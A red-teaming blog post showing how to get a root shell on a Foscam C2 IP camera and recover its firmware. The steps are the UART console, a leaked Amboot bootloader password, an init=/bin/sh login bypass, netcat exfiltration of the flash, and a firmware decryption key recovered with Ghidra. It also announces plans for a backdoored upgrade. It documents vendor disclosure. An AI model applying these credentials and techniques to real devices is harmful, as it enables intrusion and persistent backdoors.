Abusing IP camera’s for red teaming: part 1 – Obtaining the firmware

For our red teaming engagements we are always exploring new possibilities of getting an initial foothold inside a company. One of these possibillities is using vulnerabilities in IoT devices. IP cameras are an insteresting target as they are used by many companies and are available in a lot of types and brands. Because these devices are often forgotten about when updates are being done, this could be an ideal device to target.

For our proof of concept we’ve obtained a Foscam C2 IP camera. To make the investigation of the device easier our first goal in this research is to obtain the raw firmware for this device, so we can identify vulnerabilities more easily. Our starting point is the website of Foscam which has the firmware for this camera available for download.

Downloading firmware

We want to investigate the firmware to be able to find interesting entry points. After downloading the latest firmware we can have a look at the upgrade files:

[email protected]:~/Downloads# file FosIPC_F_app_ver2.x.1.79.bin
FosIPC_F_app_ver2.x.1.79.bin: openssl enc'd data with salted password

[email protected]:~/Downloads# file Amba_patch_ver2.x.1.79_1_20200516_170257.bin
Amba_patch_ver2.x.1.79_1_20200516_170257.bin: openssl enc'd data with
salted password

The firmware found on the website is being encrypted with OpenSSL, which makes investigation hard, because we don’t have the encryption key. Therefore we need to find another way to get access to the firmware. For this post, we are going to try to obtain the firmware, by extracting it from the device by using a physical access vector.

Finding a physical entry point

After opening the device and finding the main printed circuit board, some identifiable pads could be an interesting access vector. These pads could be connected to a JTAG, UART, SPI, or I2C bus of the processor. These protocols can be used to transfer data or take control of the device.

With an oscilloscope, it is possible to investigate if any (recognizable) signals are present on these pads. This can be done by ‘probing’, which means that you take a look at the voltage difference between the ground and the pad over time. With a multimeter, we can figure out that the micro SD card slot is being grounded, which we can use for probing with the oscilloscope. While probing these pads we found out that a pad next to the reset button is sending a signal:

This signal is present on one data line, which is on the top pin. The type of signal can be recognized as UART (RS232) because of the typical start byte with a fixed packet length combined with a parity and stop byte. An UART connection features 4 pins, of which two are for power and ground and the other two are for the data. One pin is used to transmit (TX) the data and one to receive (RX) the data. When you sample it with the correct baud rate, in this case 115200 baud, it is possible to decode the message, which contains information about wlan0, which is the wifi interface.

With the multimeter, we can find out which pads are being used by for the power by using the continuity functionality mode of a multimeter we can find out that the 2nd and last pin are being used for ground and power. The last unknown pin will be used for receiving. This complete results of this bus discovery are the following schematic:

With a connector, such as an FTDI or general UART adapter we can connect to the serial console of this product. We are going to use the Focaccia board, which features a breakout board for all kinds of communication protocols.

Once connected to the Focaccia board, with the 3d printed PCB Workstation with Nano- Probes we can start our serial terminal with a baud rate of 115200 and power up the device, which gives us the following output:

             ___  ___  _________                _   
            / _ \ |  \/  || ___ \              | |  
           / /_\ \| .  . || |_/ /  ___    ___  | |_ 
           |  _  || |\/| || ___ \ / _ \  / _ \ | __|
           | | | || |  | || |_/ /| (_) || (_) || |_ 
           \_| |_/\_|  |_/\____/  \___/  \___/  \__|
Amboot(R) Ambarella(R) Foscam(R) Copyright (C) 2004-2014 2015-05-23
Foscam(R) Copyright (C) 2015-05-23
will reset phy by g95
reset phy completed, gpios2 data: 0xB8001EFF
Welcome to Ambarella
Ambarella login:

Now that we can interact with the device over a serial connection we would like to get access to the device. We do not know the Linux password, so we aren’t able to login here.

Popping a shell

During the boot, it’s visible that the Amboot bootloader is being used, which is a bootloader for Ambarella chips, similar to U-Boot, which is a bootloader used in a lot of embedded linux devices.

When pressing enter during the boot process, the bootloader will halt and drop into the bootloader shell:

             ___  ___  _________                _   
            / _ \ |  \/  || ___ \              | |  
           / /_\ \| .  . || |_/ /  ___    ___  | |_ 
           |  _  || |\/| || ___ \ / _ \  / _ \ | __|
           | | | || |  | || |_/ /| (_) || (_) || |_ 
           \_| |_/\_|  |_/\____/  \___/  \___/  \__|
Amboot(R) Ambarella(R) Copyright (C) 2004-2014
Boot From: NAND 2048 RC
SYS_CONFIG: 0x3006005B POC: 101
Cortex freq: 600000000
iDSP freq: 216000000
Dram freq: 528000000
Core freq: 216000000
AHB freq: 108000000
APB freq: 54000000
UART freq: 24000000
SD freq: 50000000
SDIO freq: 50000000
SDXC freq: 60000000
1st input Passwd:

This version of Amboot is compiled with a password, which we don’t know. To access the bootloader shell we need to obtain the correct password.

With some OSINT we found a forum post which mentioned that the U-boot password of the Foscam Fi9828 is ipc.fos~ . Luckily this password appears to work on the Amboot of the Foscam C2 as well:

1st input Passwd:
amboot> help
The following commands are supported:
r32 w32 boot  erase
help  reboot  setenv  show
memtest fs  fdt nand
usbdl gpio  tftp  ping
Use 'help' to get help on a specific command

The default kernel command line of the device is set the following:

[    0.000000] Kernel command line: console=ttyS0 ubi.mtd=lnx
root=ubi0:rootfs rw rootfstype=ubifs init=/linuxrc

With access to the bootloader shell it is possible to launch Linux with a custom kernel command line, which uses /bin/sh as an entrypoint instead of /linuxrc , this bypasses the Linux login screen:

amboot boot console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw
rootfstype=ubifs init=/bin/sh
bst: 0x844FBC5A 1.3   (2015/8/13) 0x00000000 0x00000001 (2048)
bld: 0x001EA1BC 0.0   (0000/0/0)  0x00000000 0x00000000 (229416)
pba: 0x5F495F1B 0.0   (0000/0/0)  0x00208000 0x00000000 (15398544)
pri: 0xC2D9BCAE 0.0   (0000/0/0)  0x00208000 0x00000000 (5248240)
lnx: 0x87139E28 0.0   (0000/0/0)  0x00000000 0x00000001 (37748736)
add: 0x56568CC2 0.1   (2015/8/13) 0x00208000 0x00000002 (2097152)
adc: 0x753075C3 0.0   (0000/0/0)  0x00000000 0x00000000 (36962304)
loading pri to 0x00208000
rmd image absent... skipping
Jumping to 0x00208000 ...
cmdline: console=ttyS0 ubi.mtd=lnx root=ubi0:rootfs rw rootfstype=ubifs
cpux_jump: 0x00000000
initrd2_start: 0x00000000 initrd2_size: 0x00000000
kernelp: 0x00200000 kernels: 0x06E00000
idspp: 0x07000000 idsps: 0x09000000
[    0.000000] Booting Linux on physical CPU 0x0
[   10.305623] VFS: Mounted root (ubifs filesystem) on device 0:12.
[   10.312243] devtmpfs: mounted
[ 10.315374] Freeing unused kernel memory: 140K (804a5000 - 804c8000) /bin/sh: can't access tty; job control turned off
/ # whoami
/ # cat /etc/hostname
/ # id
uid=0(root) gid=0(root)

We now have root access to the Linux firmware of the Foscam C2.

Obtaining the current firmware

Now that we have full access to the camera we can try to obtain the current firmware. The camera does have an ethernet cable and a micro-sd card slot, which can be used to retrieve the data from the IP camera.

We would like to use ethernet, so we plug in the cable and get an IP address with dhcp:

/bin # busybox udhcpc
/bin # ip a
1: lo:  mtu 65536 qdisc noop
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0:  mtu 1500 qdisc pfifo_fast
qlen 1000
    link/ether f6:a1:11:c7:d3:10 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever

After a bit of searching we’ve found a lot of content in /mnt/mtd , which seems to store all of the firmware.

To receive the firmware a Netcat listener can be used, which in this case opens a port on our research system to capture the data to a file:

[email protected]:~# nc -lvnp 1337 | dd bs=16m of=mtd.tar.gz

To send the firmware we will also use Netcat in combination with tar, to compress the folder and send it to our previously created listener:

/ # tar cf - /mnt/mtd | nc 1337

On our research system we are receiving the firmware:

Connection from
0+4662 records in
0+4662 records out
6671872 bytes transferred in 75.009165 secs (88947 bytes/sec)
[email protected]:~# ls -s mtd.tar.gz
13064 mtd.tar.gz
[email protected]:~# file mtd.tar.gz
mtd.tar.gz: POSIX tar archive (GNU)

Now that we have full access to the firmware we can finally start investigating it on our research system.

Reversing the firmware upgrade process

After a bit of digging in the firmware files, we’ve found a tar file which contains binaries in /mnt/mtd/app/zbin.tar.xz , after unpacking it we can analyze the following files:

[email protected]:~/firmware# ls
BaiduRtmp         MsgServer         RtspServer        cgi-bin           ddnsclient        dosfsck           ntpclient         pure-pw           watchdog
FirmwareUpgrade   NVTService        UDTMediaServer    codec             debugCat          ftpd              objs              releaseShm.sh     webService
ImageServer       P2PProxy          amb_switch_softap console.conf      devMng            msmtp             pure-ftpd         storage           wpa_supplicant

The FirmwareUpgrade binary looks interesting because this will probably be used for the firmware upgrade process. This file is a 32-bit ELF for the ARM architecture. With any binary file, it is interesting to look at the strings, to get an idea of what the program could do. This file contains a lot of strings referring to the firmware upgrade process. It also handles some file integrity checking with OpenSSL:

[email protected]:~/firmware# file FirmwareUpgrade
FirmwareUpgrade: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux
2.6.16, BuildID[sha1]=568513626a68a1b3b77034036c6a57347eb696e0, stripped
[email protected]:~/firmware# strings FirmwareUpgrade
cd /tmp/FWUpgrade/;openssl sha512 -out %s.hash %s.md5
cd /tmp/FWUpgrade/; openssl pkeyutl -verify -in %s.hash -sigfile %s.sign
-pubin -inkey /mnt/mtd/app/etc/upgrade_pub.key
openssl sha512 failed
openssl sha512 failed, result=%d
popen( openssl pkeyutl -verify) failed
Signature Verified Successfully
openssl pkeyutl -verify failed
openssl pkeyutl -verify success
openssl pkeyutl -verify success:%s
FWUpgrade openssl decryption fail, result=%d!
FWUpgrade openssl decryption fail, result=%d

Unfortunately, it seems that the file does not contain any strings containing commands for the decryption process of the firmware. However, it does refer to the OpenSSL decryption failure, which could mean that the decryption process is being obfuscated.

We can reverse engineer the binary With the tool Ghidra. In which we can also look for the available strings, but now we can also follow the references to the places in the code, in which these strings are being used.

One string stands out because it only contains all letters and special characters. This could be used for obfuscation of data:

After following the references to this string, we find the following function:

It looks like this function is being used to generate a string based on the offset of the characters in the character set. To check if this is correct, we can implement this function easily in Python and copy the function call from Ghidra:

#!/usr/bin/env python3

def ReformString(input, *args):
    for arg in args:
        print(input[arg], end='')

[email protected]#$%^&*()_+|`-={}[]:;\'<>?,./\" \\',

After running this program, the following string appears:

[email protected]:~# ./reformstring.py
8openssl enc -d -aes-128-cbc -md md5 -k WWzift*v4 -in %s > %s

It looks like we found the encryption key of the firmware encryption in this string, which is WWzift*v4

Decrypting all firmware versions

Now that we possibly have obtained the password, we can try to decrypt the firmware:

[email protected]:~/Downloads# openssl enc -d -aes-128-cbc -md md5 -k
"WWzift*v4" -in FosIPC_F_app_ver2.x.1.79.bin > decrypted.bin
[email protected]:~/Downloads# file decrypted.bin
decrypted.bin: gzip compressed data, last modified: Wed Apr 22 01:27:51
2020, from Unix, original size modulo 2^32 37120000
[email protected]:~/Downloads# tar -tvf decrypted.bin
-rwxr--r--  0 root   root      986 Aug 21  2019 FWUpgradeConfig.xml
-rw-r--r--  0 root   root 37093376 Apr 22 03:27 app_ubifs
-rwxr-xr-x  0 root   root     9072 May  6  2019 WriteFlash
-rwxr--r--  0 root   root     2880 May  6  2019 UpdateTab
-rw-r--r--  0 root   root      187 Apr 22 03:27 fwupgrade.md5
-rw-r--r--  0 root   root      256 Apr 22 03:27 fwupgrade.sign

What’s next?

Now we have the firmware decryption key, we can decrypt all firmware versions. We can use this information to reverse engineer the firmware even further and possibly create our own upgrade file with a malicious backdoor, which we could use for a persistent entry point into the company we want to hack. The next episode of this series will cover the placement of a backdoor on the camera.

Responsible Disclosure

As most IoT devices don’t feature a secure storage for cryptographic material (TPM chip) the firmware update decryption parameters and methods are bound to be present somewhere in the firmware itself. Our proof of concept shows that these parameters and methods are recoverable from the firmware and can be used to decrypt and reverse engineer the firmware. This is not a security vulnerability in itself, but merely a design limitation of the hardware platform being used. Nevertheless, we reached out to Foscam to inform them about our research but never received a response.


  • 2020-10-30: Initial attempt to contact Foscam with vulnerability details
  • 2020-11-12: Second attempt to contact Foscam with vulnerability details
  • 2021-01-11: Post published